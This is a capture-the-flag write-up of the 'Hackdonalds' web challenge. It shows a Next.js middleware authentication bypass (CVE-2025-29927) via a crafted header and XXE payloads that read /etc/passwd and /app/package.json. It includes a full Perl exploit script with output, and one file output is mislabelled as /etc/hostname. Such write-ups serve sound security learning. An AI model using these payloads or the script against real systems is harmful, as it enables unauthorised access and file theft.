Hackdonalds Challenge - writeup by r0gue

Information

Solve

Enumeration

The application

When accessing the webpage, we are greeted with a pastiche of a very famous fast food chain.

The menu page includes a little menu, with parody names for the items.

We also have access to a login page for the admin panel. The panel might lead to more functionality!

Given the limited functionality of the website, the obvious way forward seems to somehow get ourselves admin access. But how?

When these sorts of situation arise, I often try and see if there's another way in. Sometimes, just by looking a bit deeper, you uncover interesting information.

One thing to note before moving forward is that by checking the source code, we can see in the Response Headers that the application uses NextJs. That information is crucial as you will see in a bit.

Who needs admin rights anyway?

Here's a shocking revelation about web security: some applications will let you read source code of somewhat sensitive functionalities, regardless of your actual authorization.

Morpheus is right, you know?

Javascript and its ecosystem works in mysterious ways at times, and this CTF is no exception. Reading the source code for the main page, we notice these links inside. We get another confirmation that the application indeed uses NextJs (as indicated by the links starting with _next), and a few interesting files for us to explore.

A collection of interesting links

If we check the file that ends with _buildManifest.js, we notice more links and source code for us to explore, including the admin page!

Plenty of links for us to explore!

We enumerate folder, by checking the admin page, which links to the icecream machine endpoints.

I love icecream

Reading ice-cream-machines, we notice a link to ice-cream-detail...

More icecream!! Yum...

...which reveals a new endpoint: /api/parse-xml!

An API endpoint? Interesting...

Of course, the next step is to try this new API endpoint, to see if we can access it without having to be an admin at all. Unfortunately, in this case, the API endpoint will redirect us to login.

The API redirects us to /login if we try to use it as a normal user

We got a lot of information without being an admin, but it's not enough. We actually need to find a way in to use this potential vulnerable endpoint.

Bypassing authentication for the admin panel

Fortunately, I happen to read a lot of cybersecurity articles about new CVEs coming out, and you should too! It helps broaden your mind about what sort of vulnerabilities exist in applications, and in some cases, will show you how to solve certain CTF challenges.

No pain anymore!

We know from our previous enumeration that the server is running NextJs. I read a week prior to the challenge happening of a big vulnerability affecting NextJs, so I went to search for that article. Simply searching for "NextJs Vulnerability" leads you to a few links describing an authorization bypass vulnerability on NextJs, which is exactly the sort of thing we need to bypass the admin login altogether!

The CVE in question is CVE-2025-29927, and is described by Akamai in clear details.

The core issue lies in the improper validation of the “x‑middleware‑subrequest” header. This header is intended for internal use only, but its value is predictable — often based on the middleware file’s location or naming. As a result, an attacker can craft a simple request that mimics this request header, which tricks the system into treating the request as an internal one and bypassing critical checks.

CVE-2025-29927 affects multiple versions of Next.js. While the exploitation method varies slightly across versions, the core issue remains consistent. In older releases, the exploit leverages a crafted request header that includes _middleware as a value; in newer versions it uses middleware or src/middleware to align with the updated middleware file structure and naming conventions.

Armed with this knowledge, I try this exploit on the api endpoint by adding the following header to my request: X-middleware-subrequest: middleware.

And as expected, it works! The API seems to be trying to parse my XML and tells me there's an error in it.

The application seems vulnerable to CVE-2025-29927

To confirm my finding, I use a match-replace rule on Burpsuite to include that new header for all new requests for my browser.

Using a match-replace rule on burpsuite to include the exploit on every new request I make

I then go back to my browser, and as expected, we now have access to the admin panel. Hooray!

Admin panel is ours

Abusing the XML Parsing API route

Let's use the website for the next parts, as that is easier to tinker with in this case. We quickly find again, thanks to our previous enumeration, the endpoint where we can send some XML for parsing to the API, by clicking on Ice cream machines then View settings on any of the ice-cream machines.

The immediate first thought for me when faced with a functionality like this is to test for a vulnerability affecting XML parsers, known as External Document Entity Injection, or XXE injection for short. Portswigger explains the vulnerability this way.

XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.

I decide to test for the vulnerability by building for the simplest payload I can think of. The following payload, if it works, is designed to read the sensitive /etc/passwd file on the server. If the parser is vulnerable, it will return the content of that file, confirming the vulnerability.

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<file>&xxe;</file>

Surprisingly, the payload works first try. No bypass or weird XML tricks necessary here, the contents of /etc/passwd is returned to us!

There is only one big challenge for us to solve at this point: finding the flag! That's what we're here for, right?

Finding the flag on the server

We have a Local File Inclusion on the server at this point, but that's actually pretty limiting. On some occasions, such as bug bounty, being able to prove you can read /etc/passwd or any similar file might net you a bounty. In other scenarios, like a CTF, the challenge maker might have made it easy for you and told you to read the file in /root/flag.txt, or he might have placed the flag directly in system files.

Other times though, the solution is not that simple. Searching for easy wins in this challenge as described previously will yield nothing. It's actually more common nowadays in CTFs to end up in this situation. I faced it multiple times already and had my fair share of experience and frustration tackling this sort of problem. It's easy to end up searching for a million things and going in circles, not finding anything, and being unable to advance further. In order words, this is the problem with LFI.

This part of the writeup, I hope, will give you some clue into what kind of thinking it takes to make a LFI more impactful, when that's all you have.

The key: Gather information through system files

The easiest files to find in this kind of situation are system files. There's a reason why being able to read /etc/passwd is the first thing you check for when doing this kind of test: that file is on all linux systems. This challenge is no exception: reading /etc/passwd reveals the following information:

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000:Linux User,,,:/home/node:/bin/sh

For those of you who don't use Linux all that often, it can feel like this doesn't advance us in our search for the flag, but it actually does. For one, it's actually common for services on linux to have a user or group dedicated to them in this file. A very common example is www-data, which is a user or group you'll often find on web servers, as that is the user/group servers like Apache or Nginx use when running.

We can very clearly see that there's a user created for node. We already knew that this was the programming language in use for our server, by our earlier information gathering, and noticing that express.js was the server in use. We can also notice here that this user's home is at /home/node.

node:x:1000:1000:Linux User,,,:/home/node:/bin/sh

With this information, we can already conclude the following:

  • Given Nodejs is in use, there must be a file named package.json somewhere on this machine, very likely to also be in the web root of the application. That file is to define all the packages in use in the web application, and is mandatory for npm to run alongside Nodejs. We could also search other pages we've seen on the web application so far, but it's a more laborious effort. package.json is easier to find, and finding it means confirming the location of the web root, allowing for more subsequent enumeration if needed.
  • There's a chance that /home/node might be where the web root of the application is.

No luck here however, as this file doesn't exist in that location, and you get an empty response. The file must be elsewhere. We need more contextual information.

[no content]

Having more information on this environment might help with our search. There is a trove of system files for us to go through, and make a good deduction about where user files reside. Again, the aim here is to get a clue of what environment we are in, so we can eventually find interesting user files.
We do so by checking the following system files:

  • Checking /etc/hostname reveals us the name of the machine:
    hackdonalds-66c868f9c4-5htkx
    

Again, this seems completely irrelevant, but if you think about it for two seconds, this is an odd server name. The suffix part especially seems odd. Who would name a server this way? I certainly wouldn't. Perhaps it is generated? This is the kind of thought that helps us more and more.

  • Checking /etc/os-release gives us the type of linux machine:

    1
    2
    3
    4
    5
    6
    NAME="Alpine Linux"
    ID=alpine
    VERSION_ID=3.18.3
    PRETTY_NAME="Alpine Linux v3.18"
    HOME_URL="https://alpinelinux.org/"
    BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
    

    If you are not a Linux user, this might, again, seem completely irrelevant, but Alpine is not very common for daily use, so it's good to make a note of it. It's a very special kind of server. It's often seen in certain environments like IoT devices, routers, or a certain type of deployment, and is a huge clue of what this server is being run on.

  • Checking /etc/hostname is the biggest reveal sign for the environment we are on:
    1
    2
    3
    4
    5
    6
    7
    8
    # Kubernetes-managed hosts file.
    127.0.0.1   localhost
    ::1 localhost ip6-localhost ip6-loopback
    fe00::0 ip6-localnet
    fe00::0 ip6-mcastprefix
    fe00::1 ip6-allnodes
    fe00::2 ip6-allrouters
    10.14.6.202 hackdonalds-66c868f9c4-5htkx
    

And there we have it. We are in a kubernetes environment! This is a huge clue for us.

"But this doesn't help at all!!", I hear you scream in the background. It doesn't help if you don't think about usual practices with containerized environment.
Indeed, if you've toyed around with Kubernetes, or related systems like Docker, you might have seen something pretty particular (maybe other people find it normal, but it stood out to me as weird at the time): it's very common for developers to deploy their application files in certain directories.

One of them is /app. Searching online for tutorials will often tell you to deploy there, and asking AI to generate you docker/kubernetes deployment files will most often certainly yield you a configuration that drops all application files in /app.

Thus, there's a high chance that the developer here chose /app as their web root, and that package.json is located there. And indeed, if I search for that file, I obtain the following:

The flag was present in /app/package.json. Challenge solved!

Proof of Concept code

Let's do things properly. In bug bounty and security research circles, providing a Proof of Concept is important, especially to make triagers' life easier. If this was a real application, they would really appreciate a script that showcases the vulnerability without having to get lost in my explanation. So I quickly made a Perl script (don't @ me, I'm just too used to Perl at this point) to automatically solve the challenge.

#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use JSON qw(encode_json decode_json);

my $ua = LWP::UserAgent->new;
$ua->timeout(10);

my $host = "hackdonalds.intigriti.io";

my $url = "https://$host/api/parse-xml";

my $xml_payload = <<'PAYLOAD';
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///app/package.json"> ]>
<file>&xxe;</file>
PAYLOAD

my $data = { xml => $xml_payload };
my $json_payload = encode_json($data);

print("[+] Solving Hackdonalds...\n");

my $response = $ua->post(
    $url,
    'Content-Type' => 'application/json',
    'X-middleware-subrequest' => 'middleware',
    Content        => $json_payload,
);

if ($response->is_success) {
    my $resp_data = decode_json($response->decoded_content);

    if (exists $resp_data->{result}) {
        my $result = $resp_data->{result};
        if ($result =~ /(INTIGRITI\{[^}]+\})/) {
            print "[+] Flag found! => $1\n";
        } else {
            print "[!] No flag found in the response.\n";
        }
    } else {
        print "Response does not contain 'result' key.\n";
    }
} else {
    die "[!] HTTP POST failed: " . $response->status_line . "\n";
}
1
2
3
exegol-HACKDONALDS script # ./solve-hackdonalds
[+] Solving Hackdonalds...
[+] Flag found! => INTIGRITI{XXE_1n_Ic3Cr34m_M4ch1n3s}

Takeaways

I wrote this writeup mainly because I was interested in explaining my methodology, moreso than the precise answer to this challenge. Indeed, I think the biggest takeaway here is some interesting lessons that, in my opinion, apply to a lot of different scenarios.

This writeup shows the following:

  • We learned that some webservers, such as Nextjs, actually can expose a lot of sensitive functionality through some files it serves to the user, and not requiring any authorization whatsoever.
  • Keeping up to date with what goes on in terms of research and new vulnerabilities is crucial, especially if you aim to get better at pentesting, get into bug bounty, research, do better in CTFs or any kind of offensive security activity. We stand on the shoulders of giants!
  • A Local File Read might not be the easiest thing to leverage, but if we think like the person deploying the application and the environment it resides in, we have a higher chance at uncovering critical piece of information, such as credentials, config files, or in this case, a flag.
  • PoC, or GTFO!

Thanks for reading my writeup. Until next time!

r0gue

Edit

Pub: 14 Apr 2025 21:37 UTC

Edit: 15 Apr 2025 06:37 UTC

Views: 862